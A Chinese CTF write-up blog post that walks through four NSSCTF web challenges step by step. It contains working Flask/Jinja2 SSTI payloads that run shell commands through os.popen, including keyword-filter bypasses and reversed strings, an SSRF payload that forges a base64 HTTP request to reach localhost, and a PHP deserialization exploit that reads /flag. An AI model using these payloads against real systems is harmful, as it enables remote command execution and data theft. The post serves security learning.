NSSCTF靶场题解(7)
5fn_ 2024-09-02 10:03:01 阅读 62
站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思,payload细节理解方面参考过很多篇wp。尽我所能把细节阐释到位。
如果存在理解说辞不是特别清晰了然的话,就麻烦各位大佬师傅指点啦~
这次刷题的感悟是,如果希望能力进阶,可以尝试做题的时候不要直接看wp,初期新手阶段可以看【作为一个引导作用】,后期想要能力提升的话建议多探索题目多解的可能性,还有,PHP手册是个不错的好东西~!
其他刷题记录可以在博客主页上看到。主方向是web。
目录
[NCTF 2018]Flask PLUS
[HZNUCTF 2023 preliminary]flask
[HNCTF 2022 WEEK2]ez_ssrf
[CISCN 2023 华北]ez_date
[NCTF 2018]Flask PLUS
开题。
既然是SSTI。试试注入参是不是name。【90%情况下题目都是name。也存在其他情况】
我们预设打的payload是:
//无过滤情况下。
{ {[].__class__.base__subclasses__()['128'].__init__.globals__.popen('tac /flag').read()}}
{ {lipsum.__globals__.get("os").popen("tac /flag").read()}}
{ {lipsum.__globals__['os']['popen']('ls /etc').read()}}
{ {config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}}
{ {config.__class__.__init__.__globals__.get("os").popen('tac /flag').read()}}
看看哪些东西被过滤了。
用BP爆破一下看看情况。
这里使用的ssti_fuzz文本在这里有:【网址指路:SSTI-fuzz.txt文本
码长323的回显都是【Y0u_Ar3_Hacker】,也就是都被ban了。
其他长度的没有被过滤。【例如huhu长度331】
lipsum,globals___,(),[],’,”等没有被过滤。
所以我们选定最终payload:
<code>?name={ {lipsum.__globals__['os']['popen']('ls').read()}}
但是这里【os】【popen】被过滤了。
简单,关键字绕过一下,用【''】绕过一下:
?name={ {lipsum.__globals__['o''s']['pop''en']('ls /').read()}}
<code>?name={ {lipsum.__globals__['o''s']['pop''en']('tac /Th1s_is__F1114g').read()}}
拿到flag。
这里我只展示了手动法。
也有自动的。更方便,这里需要用到SSTI自动化工具——fenjing【我主页上有介绍fenjing的windows端下载以及结合实际题目的简单使用。】
[HZNUCTF 2023 preliminary]flask
开题。
很直接了断。<code>/?name= 很明显的SSTI注入。
而且对我们传入的字符串进行了倒置
没有倒置情况下
/?name={ {7*7}}
回显49。
而且。看回显是需要查看码源的。
看上去没有回显。但其实再右键查看码源:
这里因为手搓全反payload有点麻烦。我们写个python脚本帮忙运行一下。
<code>#python_of_reverse_sentence
print("输入需要反转的字符串:")
sen=input()
sen_reversed=sen[::-1]
print("目标已生成:")
print(sen_reversed)
然后直接拿正常的payload输进去。
大概就是这么个操作。
当我们的payload是:
/?name=}})(daer.)'/ sl'(]'nepop'[]'so'[__slabolg__.muspil{ {
#实际是:{ {lipsum.__globals__['os']['popen']('ls /').read()}}
得到回显界面:
发现flag.sh【但我其实有预感这个不是真正的flag。】
/?name=}})(daer.)'hs.galf cat'(]'nepop'[]'so'[__slabolg__.muspil{ {
#实际是:{ {lipsum.__globals__['os']['popen']('tac /flag.sh').read()}}
好。确实不是。
这个时候我回去基本上翻遍了目录也没找到任何苗头。想去看看phpinfo()。
但不知道为什么看不了
/?name=}})(daer.)')(ofniphp'(]'nepop'[]'so'[__slabolg__.muspil{ {
#实际是:{ {lipsum.__globals__['os']['popen']('phpinfo()').read()}}
phpinfo()的界面是没有任何回显的。
这里实在没什么多余的思路了。去看看其他师傅的思路。
在环境变量里。如果能看phpinfo的话确实能拿flag。但在不能看到的时候其实大多数时候也会藏环境变量里。
/?name=}})(daer.)'vne'(]'nepop'[]'so'[__slabolg__.muspil{ {
#实际是:{ {lipsum.__globals__['os']['popen']('env').read()}}
ok。拿到flag。
过程探索flag中在当前目录下看到一个app.py源文件。
和当初设想一样。将我们输入的内容倒序之后渲染输出。
[HNCTF 2022 WEEK2]ez_ssrf
开题。
第一次接触SSRF
开头有点没看懂。还以为是阿帕奇模板漏洞,然后搜索了一下【Apache2 Debian Default Page】
我还以为是模板漏洞,结果其实是访问服务器时出现的默认欢迎界面。给自己整笑了。
写扫扫目录看看:
这些响应200代表均可以访问。
我们先去/flag.php看看。
【localhost plz】?
host改成127.0.0.1试试?
没反应。
根据提示访问一下/index.php
代码审计一下:
GET方式获取data,host,port。
利用fsockopen函数建立与指定主机和端口的 socket 连接。【结合flag.php页面提示的localhost,这里的$host应该就是127.0.0.1】
在PHP手册上搜索该函数得到如下解释。
而要得到flag【或相关信息】需要使fsockopen()函数返回 True。
从而进入else模块。
在else模块中:
fwrite():【将$data写入$fp】
<code>fwrite($fp,$data);
feof():【检测文件是否到了读取到结束位置】
while(!feof($data)) //当$data没有读取结束时用while持续这个过程。
fgets():【从文件字符中读取字符】
fgets($file, 128); // 读取最多128个字符的一行
【以下都是搜索PHP手册得到的,建议在能力进阶期段做题时可以先不去搜题解,尝试自己解出答案】
观察index.php的源码可以知道,data这里对于读入文件的内容是没有过滤的。
这也就意味着data里面可以直接不用关键字绕过,直接读取flag。
由于我也是第一次接触SSRF的题目,先看看SSRF大概是什么。
除此之外。这里还了解到:fsockopen函数就要清楚有考察ssrf的意思
为什么?
SSRF的实质就是:利用存在缺陷的Web站点作为代理,攻击远程和本地的服务器。
怎么理解?
核心理解就是:
【index.php是存在缺陷【可以写shellcode】的web站点,而我们的目标是同样作为和index.php本地文件的flag.php,我们需要通过index.php才能得到flag.php的内容。直接访问flag.php是无法访问的。】
结合之前的代码:可以得出,我们需要在data中伪造服务端请求。而且该请求中存有恶意代码读取flag文件。
这里给出一个了解SSRF的比较好的网站:SSRF详细讲解
payload:
# data内容
<?php
$a="GET /flag.php HTTP/1.1\r\n"; #换行符需要\r\n
$a.="Host: 127.0.0.1\r\n";
$a.="Connection: close\r\n\r\n"; #这里不太清楚为什么不写【\r\n\r\n】得不到。
echo base64_encode($a);
?>
得到base64编码过后的伪造请求头。
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=
所以最终payload:
/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=
#host=127.0.0.1是因为flag.php对于网站来说是本地文件。
#port=80是80端口的意思,80端口是专用于HTTP的。443端口是https。
#data中的base64编码即是我们传入的访问本不可以直接访问的flag.php页面的伪造请求头。
OK。拿到flag。
[CISCN 2023 华北]ez_date
开题。
一道反序列化的题。
我们先来代码审计一下:
<code><?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
#在反序列化开始的时候就会触发这个wakeup()魔术方法,然后执行里面的代码。
public function __wakeup()
{
#传入的a,b不能是数组,不能使用数组绕过
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
#传入的a,b值不能相等,但MD5值要相等,sha1值要相等。【这里我们用【3】和【'3'】来分别作为a,b绕过。】
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
#去PHP手册上搜只说是格式化时间的函数,但其实用法在这里是利用data来读flag文件。
$content=date($this->file);
#uniqid()函数:生成一个带前缀、基于当前时间微秒数的唯一ID。
$uuid=uniqid().'.txt';
#将$cotent内容放入$uuid中
file_put_contents($uuid,$content);
#将换行符,空格替换成空。
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
#读取$data。
echo file_get_contents($data);
}
else{
die();
}
}
}
?>
为什么说【1】和【'1'】可以绕过sha1和md5呢?
举个例子。
通用为什么不能用数组绕过呢?
为什么这里说可以利用data来获取flag?
能写入文件的地方,以及能够控制变量的地方只有date函数这里。
如果我单写<code>/flag
但如果我换个方式利用。
不仅可以绕过对于flag关键字的过滤,还可以顺利得到我想要的形式。
所以最终得到payload的PHP代码:
<code>
#本地服务器走一下 or 网上随便搜一个在线PHP运行都可以。
<?php
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
}
$q=new date();
$q->a=1;
$q->b='1';code>
$q->file='/f\l\a\g';code>
#根据 unserialize(base64_decode($_GET['code']));
echo base64_encode(serialize($q));
?>
所以最终payload:
<code>/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9
拿到flag。
但是写题期间其实我在PHP手册上琢磨了挺久。
data的那个用法我是一开始真的没悟出来。
当时还想着data不是打印时间的吗,觉得云里雾里的。
现在看见这个转义字符用法才有种醍醐灌顶的感觉。
写这个在这里是希望同样在web能力进阶的小伙伴一点做题方面的交流。
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。